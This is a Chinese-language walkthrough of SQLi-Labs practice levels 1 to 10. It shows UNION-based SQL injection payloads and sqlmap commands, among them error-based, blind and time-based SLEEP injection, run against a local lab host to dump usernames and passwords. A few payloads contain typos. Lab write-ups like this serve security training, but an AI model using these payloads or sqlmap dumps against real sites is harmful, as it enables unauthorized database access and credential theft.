SQL注入 - SQLi-Labs靶場過關記錄
Less-1
1、看報錯型別,確定注入點
?id=1' order by 4--++
2、確定資料庫
?id=-1' union select 1,2,3--++
3、檢視資料庫
?id=-1' union select 1,2,database();--++
4、檢視資料庫中的表
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--++
5、提取security資料庫中的
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--++
6、提取users表中的使用者名稱和密碼,注入完成
?id=1' union select 1,2,group_concat(username,"+",password) from security.users--++
Less - 2
1、直接測試報錯
?id=1 order by 4--++
2、查詢當前資料庫名
?id=-1 unionselect 1,2,database();--++
3、檢視當前資料庫所有表名
?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database();--++
4、檢視users表的結構資訊
?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--++
5、查詢users
?id=-1 union select 1,group_concat(username,"+",password),3 from security.users--++
Less - 3
1、測試報錯,檢視注入點
?id=1") order by 4--++
2、檢視當前使用者、資料庫版本、當前資料庫
?id=1') union select 1,2,group_concat(user(),"+",version(),"+",database());--++
3、檢視security庫中的表
?id=1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security';--++
4、檢視users表的結構
?id=1') union select 1,2,group_concat(columns_name) from information_schema.columns where table_name='users';--++
5、檢視users表中的username和password,完成注入
?id=1') union select 1,2,group_concat(username,"+",password) from security.users;--++
Less - 4
1、測試報錯,查詢注入點
?id=1") order by 4--++
2、檢視當前使用者、資料庫版本、當前資料庫
?id=-1") union select 1,2,group_concat(user(),"+",version(),"+",database());--++
3、檢視security庫中的表
?id=-1") union group_concat(tables_name) from information_schema.tables where table_schema='security';--++
4、檢視users表的結構,語句與上一關差不多
5、檢視users表中的username和password,完成注入
Less - 5
1、測試報錯
?id=1' order by 3--+
不報錯,但無回顯
?id=1' order by 4--+
報錯,確定存在注入點
?id=1' union select 1,2,3--+
無資料回顯,可能需要盲注
2、用sqlmap跑一下,測試報錯注入
sqlmap -u "http://192.168.40.128:86/Less-5/?id=1'"
3、查詢所有資料庫
sqlmap -u "http://192.168.40.128:86/Less-5/?id=1'" --dbs -v 3
4、查詢當前資料庫
sqlmap -u "http://192.168.40.128:86/Less-5/?id=1'" --current-db -v 3
5、查詢當前資料庫下的表
sqlmap -u "http://192.168.40.128:86/Less-5/?id=1'" -D"security" --tables -v 3
6、發現有一個名為users的表,查詢users的所有欄位名
sqlmap -u "http://192.168.40.128:86/Less-5/?id=1'" -D"security" -T"users" --columns -v 3
7、發現username和password欄位,查詢這兩個欄位
sqlmap -u "http://192.168.40.128:86/Less-5/?id=1'" -D"security" -T"users" -C"username,password" --dump -v 3
Less - 6
1、測試報錯
http://192.168.40.128:86/Less-6/?id=1" order by 3--+
沒有報錯,但是也沒有資料回顯
http://192.168.40.128:86/Less-6/?id=1" order by 4--+
報錯,確定存在注入點
2、查詢無回顯,需要盲注
http://192.168.40.128:86/Less-6/?id=1" union select 1,2,3--+
3、使用sqlmap測試注入點
sqlmap -u http://192.168.40.128:86/Less-6/?id=1" -v 3
4、使用sqlmap盲注查詢所有資料庫
sqlmap -u 'http://192.168.40.128:86/Less-6/?id=1"' --dbs
5、sqlmap查詢當前資料庫
sqlmap -u 'http://192.168.40.128:86/Less-6/?id=1"' --current-db -v 3
6、sqlmap查詢當前資料庫security下的所有表
sqlmap -u 'http://192.168.40.128:86/Less-6/?id=1"' -D"security" --tables -v 3
7、發現存在users表,查詢該表中的所有欄位
sqlmap -u 'http://192.168.40.128:86/Less-6/?id=1"' -D"security" -T"users" --columns -v 3
8、發現username和password欄位,查詢這兩個欄位的內容
sqlmap -u 'http://192.168.40.128:86/Less-6/?id=1"' -D"security" -T"users" -C"username,password" --dump -v 3
Less - 7
1、測試報錯
http://192.168.40.128:86/Less-7/?id=1')) order by 4--+
2、sqlmap測試報錯注入點
sqlmap -u "http://192.168.40.128:86/Less-7/?id=1'))" -v 3
3、sqlmap查詢當前資料庫
sqlmap -u "http://192.168.40.128:86/Less-7/?id=1'))" --current-db -v 3
4、sqlmap查詢當前資料庫下的所有表
sqlmap -u "http://192.168.40.128:86/Less-7/?id=1'))" -D"security" --tables -v 3
5、發現存在users表,查詢該表下所有欄位名
sqlmap -u "http://192.168.40.128:86/Less-7/?id=1'))" -D"security" -T"users" --columns -v 3
6、發現欄位username和password,查詢內容
sqlmap -u "http://192.168.40.128:86/Less-7/?id=1'))" -D"security" -T"users" -C"username,password" --dump -v 3
Less - 8
1、測試報錯
2、直接sqlmap跑注入點
sqlmap -u 'http://192.168.40.128:86/Less-8/?id=1%22' -v 3
3、sqlmap查詢當前使用者
sqlmap -u 'http://192.168.40.128:86/Less-8/?id=1%22' --current-user -v 3
4、sqlmap查詢所有資料庫
5、查詢當前資料庫
sqlmap -u 'http://192.168.40.128:86/Less-8/?id=1%22' --current-db -v 3
6、查詢當前資料庫下的所有表
sqlmap -u 'http://192.168.40.128:86/Less-8/?id=1%22' -D"security" --tables -v 3
7、發現users表,查詢表中所有欄位
sqlmap -u 'http://192.168.40.128:86/Less-8/?id=1%22' -D"security" -T"users" --columns -v 3
Less - 9
1、測試單雙引號和字元均無報錯,直接sqlmap測試
sqlmap -u "http://192.168.40.128:86/Less-9/?id=1" -v 3
2、查詢所有資料庫
sqlmap -u "http://192.168.40.128:86/Less-9/?id=1" --dbs -v 3
3、查詢當前資料庫與使用者名稱
sqlmap -u "http://192.168.40.128:86/Less-9/?id=1" --current-db --current-user -v 3
4、查詢當前資料庫下的所有表
sqlmap -u "http://192.168.40.128:86/Less-9/?id=1" -D"security" --tables -v 3
5、發現users表,查詢欄位
sqlmap -u "http://192.168.40.128:86/Less-9/?id=1" -D"security" -T"users" --columns -v 3
6、發現username和password欄位,查詢內容
sqlmap -u "http://192.168.40.128:86/Less-9/?id=1" -D"security" -T"users" -C"username,password" --dump -v 3
Less - 10
1、使用sqlmap進行延時注入,level設定為3,可以測試雙字元,執行緒設定為10
sqlmap -u "http://192.168.40.128:86/Less-10/?id=1" -p id --technique T -threads 10 -v 3 -level 3 --time-sec 9
Payload: id=1" AND (SELECT 3880 FROM (SELECT(SLEEP(9)))aNIN) AND "Rweq"="Rweq
2、sqlmap測試當前資料庫
sqlmap -u "http://192.168.40.128:86/Less-10/?id=1" -p id --technique T -threads 10 -v 3 -level 3 --time-sec 9 --current-db
當前資料庫名:security
3、sqlmap測試當前資料庫下的表名
sqlmap -u "http://192.168.40.128:86/Less-10/?id=1" -p id --technique T -threads 10 -level 3 --time-sec 9 -D"security" --tables -v 3
當前資料庫security下存在的表:emails、referes、uagents、users
4、直接爆資料
sqlmap -u "http://192.168.40.128:86/Less-10/?id=1" -p id --technique T -threads 10 -level 3 --time-sec 9 -D"security" -T"users" -C"username,password" --dump -v 3